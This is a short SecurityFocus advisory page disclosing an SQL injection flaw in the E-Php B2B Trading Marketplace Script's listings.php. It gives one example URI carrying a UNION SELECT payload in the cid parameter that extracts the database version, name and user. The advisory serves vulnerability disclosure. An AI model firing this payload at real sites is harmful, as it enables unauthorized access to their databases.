Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

E-Php B2B Trading Marketplace Script 'listings.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8--







 

Privacy Statement
Copyright 2008, SecurityFocus